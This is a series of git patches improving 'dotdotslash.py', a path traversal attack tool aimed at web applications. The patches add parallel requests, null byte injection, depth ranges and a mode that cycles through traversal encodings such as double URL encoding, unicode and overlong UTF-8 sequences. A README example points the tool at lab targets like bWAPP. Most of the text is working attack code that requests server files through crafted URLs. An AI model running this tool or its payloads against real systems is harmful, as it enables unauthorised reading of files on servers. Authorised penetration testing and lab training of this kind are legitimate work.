From 56d6a1dadf341dd01fe7e8f071b4b2efcf06c122 Mon Sep 17 00:00:00 2001 From: Michal Date: Tue, 25 Feb 2025 09:56:46 +0100 Subject: [PATCH 1/8] Fix regex replacement error using lambda in dotdotslash.py --- dotdotslash.py | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/dotdotslash.py b/dotdotslash.py index 1c68f9d..43c29d8 100644 --- a/dotdotslash.py +++ b/dotdotslash.py @@ -33,7 +33,6 @@ def codecollors(code): else: return code - class request(object): def query(self, url, cookie=None): if cookie: @@ -45,27 +44,27 @@ def query(self, url, cookie=None): self.raw = req.text self.code = req.status_code - def forloop(): if str(arguments.string) not in str(arguments.url): - sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC + " not found in url: " + bcolors.FAIL + arguments.url + "\n") + sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC + + " not found in url: " + bcolors.FAIL + arguments.url + "\n") count = 0 duplicate = [] - while (count != (arguments.depth + 1)): + while count != (arguments.depth + 1): print("[+] Depth: " + str(count)) for var in dotvar: for bvar in befvar: for word in match.keys(): rewrite = bvar + (var * count) + word - fullrewrite = re.sub(arguments.string, rewrite, arguments.url) + # Using a lambda to avoid processing escape sequences in the replacement string + fullrewrite = re.sub(arguments.string, lambda m: rewrite, arguments.url) if fullrewrite not in duplicate: req = request() - req.query(fullrewrite) + req.query(fullrewrite, cookie=arguments.cookie) catchdata = re.findall(str(match[word]), req.raw) - if (len(catchdata) != 0): - #print(bcolors.OKGREEN + "\n[" + str(req.code) + "] " + bcolors.ENDC + fullrewrite) + if len(catchdata) != 0: print(codecollors(req.code) + fullrewrite) print(" Contents Found: " + str(len(catchdata))) else: @@ -73,11 +72,11 @@ def forloop(): print(codecollors(req.code) + fullrewrite) icount = 0 - # Print match + # Print matches for i in catchdata: print(" " + bcolors.FAIL + str(i) + bcolors.ENDC) - icount = icount + 1 - if (icount > 6): + icount += 1 + if icount > 6: print(" [...]") break if arguments.verbose: @@ -85,10 +84,8 @@ def forloop(): duplicate.append(fullrewrite) count += 1 - - if __name__ == '__main__': - parser = argparse.ArgumentParser(description='dot dot slash - A automated Path Traversal Tester. Created by @jcesrstef.') + parser = argparse.ArgumentParser(description='dot dot slash - A automated Path Traversal Tester. Created by @jcesarstef.') parser.add_argument('--url', '-u', action='store', dest='url', required=True, help='Url to attack.') parser.add_argument('--string', '-s', action='store', dest='string', required=True, help='String in --url to attack. Ex: document.pdf') parser.add_argument('--cookie', '-c', action='store', dest='cookie', required=False, help='Document cookie.') @@ -108,7 +105,6 @@ def forloop(): Created by Julio Cesar Stefanutto (@jcesarstef)\n\ \n\ Starting run in: \033[94m" + arguments.url + "\033[0m\n\ - \ " print(banner) forloop() From e5eb0974441f06e3f5d28bd54249d76fa6ffc716 Mon Sep 17 00:00:00 2001 From: Michal Date: Tue, 25 Feb 2025 10:04:08 +0100 Subject: [PATCH 2/8] Parallelize HTTP requests for faster path traversal testing --- dotdotslash.py | 100 +++++++++++++++++++++++++------------------------ 1 file changed, 51 insertions(+), 49 deletions(-) diff --git a/dotdotslash.py b/dotdotslash.py index 43c29d8..5d85206 100644 --- a/dotdotslash.py +++ b/dotdotslash.py @@ -2,10 +2,10 @@ import re import argparse import sys -from match import dotvar, match, befvar +import concurrent.futures import requests from http.cookies import SimpleCookie -import time +from match import dotvar, match, befvar class bcolors: HEADER = '\033[95m' @@ -19,77 +19,79 @@ class bcolors: def codecollors(code): if str(code).startswith("2"): - colorized = "\033[92m[" + str(code) + "] \033[0m" - return colorized + return "\033[92m[" + str(code) + "] \033[0m" elif str(code).startswith("3"): - colorized = "\033[93m[" + str(code) + "] \033[0m" - return colorized + return "\033[93m[" + str(code) + "] \033[0m" elif str(code).startswith("4"): - colorized = "\033[91m[" + str(code) + "] \033[0m" - return colorized + return "\033[91m[" + str(code) + "] \033[0m" elif str(code).startswith("5"): - colorized = "\033[94m[" + str(code) + "] \033[0m" - return colorized + return "\033[94m[" + str(code) + "] \033[0m" else: - return code + return str(code) class request(object): def query(self, url, cookie=None): + cookies = None if cookie: rawdata = "Cookie: " + cookie - cookie = SimpleCookie() - cookie.load(rawdata) - - req = requests.get(url, cookies=cookie, allow_redirects=False) + cookies = SimpleCookie() + cookies.load(rawdata) + req = requests.get(url, cookies=cookies, allow_redirects=False) self.raw = req.text self.code = req.status_code -def forloop(): +def process_task(fullrewrite, regex_pattern, cookie, verbose): + req = request() + req.query(fullrewrite, cookie=cookie) + catchdata = re.findall(str(regex_pattern), req.raw) + output_lines = [] + if catchdata: + output_lines.append(codecollors(req.code) + fullrewrite) + output_lines.append(" Contents Found: " + str(len(catchdata))) + else: + if verbose: + output_lines.append(codecollors(req.code) + fullrewrite) + for i, match_item in enumerate(catchdata): + if i >= 7: + output_lines.append(" [...]") + break + output_lines.append(" " + bcolors.FAIL + str(match_item) + bcolors.ENDC) + return "\n".join(output_lines) + +def forloop(arguments): if str(arguments.string) not in str(arguments.url): sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC + " not found in url: " + bcolors.FAIL + arguments.url + "\n") - - count = 0 - duplicate = [] - while count != (arguments.depth + 1): + + duplicate = set() + for count in range(arguments.depth + 1): print("[+] Depth: " + str(count)) + tasks = [] for var in dotvar: for bvar in befvar: - for word in match.keys(): + for word, regex_pattern in match.items(): + # Build the rewrite using the given depth (count) value rewrite = bvar + (var * count) + word - # Using a lambda to avoid processing escape sequences in the replacement string - fullrewrite = re.sub(arguments.string, lambda m: rewrite, arguments.url) - + # Using re.sub (with re.escape for safety) to substitute the target string + fullrewrite = re.sub(re.escape(arguments.string), lambda m: rewrite, arguments.url) if fullrewrite not in duplicate: - req = request() - req.query(fullrewrite, cookie=arguments.cookie) - catchdata = re.findall(str(match[word]), req.raw) - if len(catchdata) != 0: - print(codecollors(req.code) + fullrewrite) - print(" Contents Found: " + str(len(catchdata))) - else: - if arguments.verbose: - print(codecollors(req.code) + fullrewrite) - - icount = 0 - # Print matches - for i in catchdata: - print(" " + bcolors.FAIL + str(i) + bcolors.ENDC) - icount += 1 - if icount > 6: - print(" [...]") - break - if arguments.verbose: - time.sleep(0) - duplicate.append(fullrewrite) - count += 1 + duplicate.add(fullrewrite) + tasks.append((fullrewrite, regex_pattern)) + if tasks: + # Use a ThreadPoolExecutor to run requests concurrently. + with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: + futures = [executor.submit(process_task, t[0], t[1], arguments.cookie, arguments.verbose) for t in tasks] + for future in concurrent.futures.as_completed(futures): + result = future.result() + if result: + print(result) if __name__ == '__main__': - parser = argparse.ArgumentParser(description='dot dot slash - A automated Path Traversal Tester. Created by @jcesarstef.') + parser = argparse.ArgumentParser(description='dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef.') parser.add_argument('--url', '-u', action='store', dest='url', required=True, help='Url to attack.') parser.add_argument('--string', '-s', action='store', dest='string', required=True, help='String in --url to attack. Ex: document.pdf') parser.add_argument('--cookie', '-c', action='store', dest='cookie', required=False, help='Document cookie.') - parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, default='6', help='How deep we will go?') + parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, default=6, help='How deep we will go?') parser.add_argument('--verbose', '-v', action='store_true', required=False, help='Show requests') arguments = parser.parse_args() @@ -107,5 +109,5 @@ def forloop(): Starting run in: \033[94m" + arguments.url + "\033[0m\n\ " print(banner) - forloop() + forloop(arguments) From 6e00b5d528e28b6dfb55e8339e0c14010845ab5b Mon Sep 17 00:00:00 2001 From: Michal Benes Date: Fri, 3 Oct 2025 17:15:41 +0200 Subject: [PATCH 3/8] add support for testing null byte insertion --- dotdotslash.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/dotdotslash.py b/dotdotslash.py index 5d85206..1db7ff6 100644 --- a/dotdotslash.py +++ b/dotdotslash.py @@ -77,6 +77,15 @@ def forloop(arguments): if fullrewrite not in duplicate: duplicate.add(fullrewrite) tasks.append((fullrewrite, regex_pattern)) + + # null byte injection when extension is provided + if arguments.extension: + for ext in arguments.extension: + null_byte_rewrite = bvar + (var * count) + word + "%00" + ext + null_byte_fullrewrite = re.sub(re.escape(arguments.string), lambda m: null_byte_rewrite, arguments.url) + if null_byte_fullrewrite not in duplicate: + duplicate.add(null_byte_fullrewrite) + tasks.append((null_byte_fullrewrite, regex_pattern)) if tasks: # Use a ThreadPoolExecutor to run requests concurrently. with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: @@ -93,6 +102,7 @@ def forloop(arguments): parser.add_argument('--cookie', '-c', action='store', dest='cookie', required=False, help='Document cookie.') parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, default=6, help='How deep we will go?') parser.add_argument('--verbose', '-v', action='store_true', required=False, help='Show requests') + parser.add_argument('--extension', '-e', action='append', dest='extension', required=False, help='File extension for null byte injection (e.g., ".png", ".txt"). Can be used multiple times.') arguments = parser.parse_args() banner = "\ From 6db1b3eac7e83ec4abbd26582f9ef836f851f4fa Mon Sep 17 00:00:00 2001 From: Michal Benes Date: Sat, 4 Oct 2025 08:21:47 +0200 Subject: [PATCH 4/8] add gitignore --- .gitignore | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..844cde7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +# ignore env dir +env/ + +#ignore every cursor plan files with prefix cp_* +cp_*.md \ No newline at end of file From b564e099b3ff08de8924774864e0518ca9f24cbe Mon Sep 17 00:00:00 2001 From: Michal Benes Date: Sat, 4 Oct 2025 08:22:30 +0200 Subject: [PATCH 5/8] support fot testing nullbytes --- dotdotslash.py | 29 +++++++++++++++++++++++++++-- 1 file changed, 27 insertions(+), 2 deletions(-) diff --git a/dotdotslash.py b/dotdotslash.py index 1db7ff6..afc9665 100644 --- a/dotdotslash.py +++ b/dotdotslash.py @@ -64,7 +64,7 @@ def forloop(arguments): " not found in url: " + bcolors.FAIL + arguments.url + "\n") duplicate = set() - for count in range(arguments.depth + 1): + for count in range(arguments.min_depth, arguments.max_depth + 1): print("[+] Depth: " + str(count)) tasks = [] for var in dotvar: @@ -100,11 +100,36 @@ def forloop(arguments): parser.add_argument('--url', '-u', action='store', dest='url', required=True, help='Url to attack.') parser.add_argument('--string', '-s', action='store', dest='string', required=True, help='String in --url to attack. Ex: document.pdf') parser.add_argument('--cookie', '-c', action='store', dest='cookie', required=False, help='Document cookie.') - parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, default=6, help='How deep we will go?') + parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, help='How deep we will go? (backward compatibility, sets range 0 to depth)') + parser.add_argument('--min-depth', action='store', dest='min_depth', required=False, type=int, help='Minimum depth to test (use with --max-depth)') + parser.add_argument('--max-depth', action='store', dest='max_depth', required=False, type=int, help='Maximum depth to test (use with --min-depth)') parser.add_argument('--verbose', '-v', action='store_true', required=False, help='Show requests') parser.add_argument('--extension', '-e', action='append', dest='extension', required=False, help='File extension for null byte injection (e.g., ".png", ".txt"). Can be used multiple times.') arguments = parser.parse_args() + # determine depth range + if arguments.depth is not None: + if arguments.min_depth is not None or arguments.max_depth is not None: + sys.exit("cannot use --depth with --min-depth/--max-depth") + min_depth = 0 + max_depth = arguments.depth + elif arguments.min_depth is not None and arguments.max_depth is not None: + if arguments.min_depth < 0: + sys.exit("min-depth must be non-negative") + if arguments.max_depth < arguments.min_depth: + sys.exit("max-depth must be >= min-depth") + min_depth = arguments.min_depth + max_depth = arguments.max_depth + elif arguments.min_depth is not None or arguments.max_depth is not None: + sys.exit("both --min-depth and --max-depth must be specified together") + else: + # default behavior + min_depth = 0 + max_depth = 6 + + arguments.min_depth = min_depth + arguments.max_depth = max_depth + banner = "\ _ _ _ _ _ _ \n\ __| | ___ | |_ __| | ___ | |_ ___| | __ _ ___| |__ \n\ From 02148bc016c07d3eda648a18c9504ab0ed9066fe Mon Sep 17 00:00:00 2001 From: Michal Benes Date: Sat, 4 Oct 2025 22:11:04 +0200 Subject: [PATCH 6/8] update --- dotdotslash.py | 60 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) diff --git a/dotdotslash.py b/dotdotslash.py index afc9665..9bace67 100644 --- a/dotdotslash.py +++ b/dotdotslash.py @@ -7,6 +7,21 @@ from http.cookies import SimpleCookie from match import dotvar, match, befvar +# encoding variants for lightweight mode - each represents a different encoding method +lightweight_encodings = { + 'plain': '../', + 'url_encoded': '%2e%2e%2f', + 'double_url_encoded': '%252e%252e%252f', + 'backslash': '..\\', + 'backslash_url_encoded': '%2e%2e%5c', + 'backslash_double_url_encoded': '%252e%252e%255c', + 'unicode_slash': '..%u2215', + 'unicode_full': '%uff0e%uff0e%u2215', + 'c0_encoding': '%c0%ae%c0%ae%c0%af', + 'double_c0_encoding': '%25c0%25ae%25c0%25ae%25c0%25af', + 'percent_encoding': '%%32%65%%32%65%%32%66' +} + class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' @@ -95,6 +110,44 @@ def forloop(arguments): if result: print(result) +def forloop_lightweight(arguments): + if str(arguments.string) not in str(arguments.url): + sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC + + " not found in url: " + bcolors.FAIL + arguments.url + "\n") + + duplicate = set() + for count in range(arguments.min_depth, arguments.max_depth + 1): + print("[+] Depth: " + str(count) + " (lightweight mode)") + tasks = [] + + # iterate through each encoding method + for encoding_name, var in lightweight_encodings.items(): + for bvar in befvar: + for word, regex_pattern in match.items(): + # use the same encoding for all path traversal sequences at this depth + rewrite = bvar + (var * count) + word + fullrewrite = re.sub(re.escape(arguments.string), lambda m: rewrite, arguments.url) + if fullrewrite not in duplicate: + duplicate.add(fullrewrite) + tasks.append((fullrewrite, regex_pattern)) + + # null byte injection when extension is provided + if arguments.extension: + for ext in arguments.extension: + null_byte_rewrite = bvar + (var * count) + word + "%00" + ext + null_byte_fullrewrite = re.sub(re.escape(arguments.string), lambda m: null_byte_rewrite, arguments.url) + if null_byte_fullrewrite not in duplicate: + duplicate.add(null_byte_fullrewrite) + tasks.append((null_byte_fullrewrite, regex_pattern)) + + if tasks: + with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: + futures = [executor.submit(process_task, t[0], t[1], arguments.cookie, arguments.verbose) for t in tasks] + for future in concurrent.futures.as_completed(futures): + result = future.result() + if result: + print(result) + if __name__ == '__main__': parser = argparse.ArgumentParser(description='dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef.') parser.add_argument('--url', '-u', action='store', dest='url', required=True, help='Url to attack.') @@ -105,6 +158,7 @@ def forloop(arguments): parser.add_argument('--max-depth', action='store', dest='max_depth', required=False, type=int, help='Maximum depth to test (use with --min-depth)') parser.add_argument('--verbose', '-v', action='store_true', required=False, help='Show requests') parser.add_argument('--extension', '-e', action='append', dest='extension', required=False, help='File extension for null byte injection (e.g., ".png", ".txt"). Can be used multiple times.') + parser.add_argument('--lightweight', '-l', action='store_true', required=False, help='lightweight mode - group similar encodings instead of trying all combinations') arguments = parser.parse_args() # determine depth range @@ -144,5 +198,9 @@ def forloop(arguments): Starting run in: \033[94m" + arguments.url + "\033[0m\n\ " print(banner) - forloop(arguments) + + if arguments.lightweight: + forloop_lightweight(arguments) + else: + forloop(arguments) From c16cb00737baefd9d28410ce37515b50c8ad4a5e Mon Sep 17 00:00:00 2001 From: Michal Date: Tue, 7 Oct 2025 13:25:42 +0200 Subject: [PATCH 7/8] update docs --- README.md | 28 ++++++++++++++++++++-------- dotdotslash.py | 2 +- 2 files changed, 21 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index a48fe58..96421de 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,7 @@ An tool to help you search for Directory Traversal Vulnerabilities Platforms that I tested to validate tool efficiency: * [DVWA](https://github.com/ethicalhack3r/DVWA) (low/medium/high) * [bWAPP](http://www.itsecgames.com/) (low/medium/high) +* [Portswigger](https://portswigger.net/web-security/all-labs#path-traversal) # Screenshots @@ -28,12 +29,11 @@ This tool was made to work with Python3 ``` > python3 dotdotslash.py --help -usage: dotdotslash.py [-h] --url URL --string STRING [--cookie COOKIE] - [--depth DEPTH] [--verbose] +usage: dotdotslash.py [-h] --url URL --string STRING [--cookie COOKIE] [--depth DEPTH] [--min-depth MIN_DEPTH] [--max-depth MAX_DEPTH] [--verbose] [--extension EXTENSION] [--lightweight] -dot dot slash - A automated Path Traversal Tester. Created by @jcesrstef. +dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef, ByteMastermind's fork -optional arguments: +options: -h, --help show this help message and exit --url URL, -u URL Url to attack. --string STRING, -s STRING @@ -41,19 +41,31 @@ optional arguments: --cookie COOKIE, -c COOKIE Document cookie. --depth DEPTH, -d DEPTH - How deep we will go? + How deep we will go? (backward compatibility, sets range 0 to depth) + --min-depth MIN_DEPTH + Minimum depth to test (use with --max-depth) + --max-depth MAX_DEPTH + Maximum depth to test (use with --min-depth) --verbose, -v Show requests + --extension EXTENSION, -e EXTENSION + File extension for null byte injection (e.g., ".png", ".txt"). Can be used multiple times. + --lightweight, -l lightweight mode - group similar encodings instead of trying all combinations ``` Example: ``` python3 dotdotslash.py \ ---url "http://192.168.58.101/bWAPP/directory_traversal_1.php?page=a.txt" \ +--url "http://192.168.58.101/bWAPP/directory_traversal_1.php?page=FUZZ" \ --string "a.txt" \ ---cookie "PHPSESSID=089b49151627773d699c277c769d67cb; security_level=3" - +--cookie "PHPSESSID=089b49151627773d699c277c769d67cb; security_level=3" \ +-e ".png" -e ".jpg" \ +-v \ +-l \ +--min-depth 2 \ +--max-depth 5 ``` + # Let Me Know What You Think * My Twitter: https://twitter.com/jcesarstef * My Linkedin: https://www.linkedin.com/in/jcesarstef diff --git a/dotdotslash.py b/dotdotslash.py index 9bace67..f1230ba 100644 --- a/dotdotslash.py +++ b/dotdotslash.py @@ -149,7 +149,7 @@ def forloop_lightweight(arguments): print(result) if __name__ == '__main__': - parser = argparse.ArgumentParser(description='dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef.') + parser = argparse.ArgumentParser(description='dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef, ByteMastermind\'s fork') parser.add_argument('--url', '-u', action='store', dest='url', required=True, help='Url to attack.') parser.add_argument('--string', '-s', action='store', dest='string', required=True, help='String in --url to attack. Ex: document.pdf') parser.add_argument('--cookie', '-c', action='store', dest='cookie', required=False, help='Document cookie.') From e2296cd2676ef68bf0b579568fadcf0a5bfdf57c Mon Sep 17 00:00:00 2001 From: Michal Benes Date: Wed, 8 Oct 2025 10:22:42 +0200 Subject: [PATCH 8/8] edit --- .gitignore | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index 844cde7..d927223 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,8 @@ # ignore env dir env/ -#ignore every cursor plan files with prefix cp_* -cp_*.md \ No newline at end of file +# ignore every cursor plan files with prefix cp_* +cp_*.md + +# ignore pychache +__pycache__/ \ No newline at end of file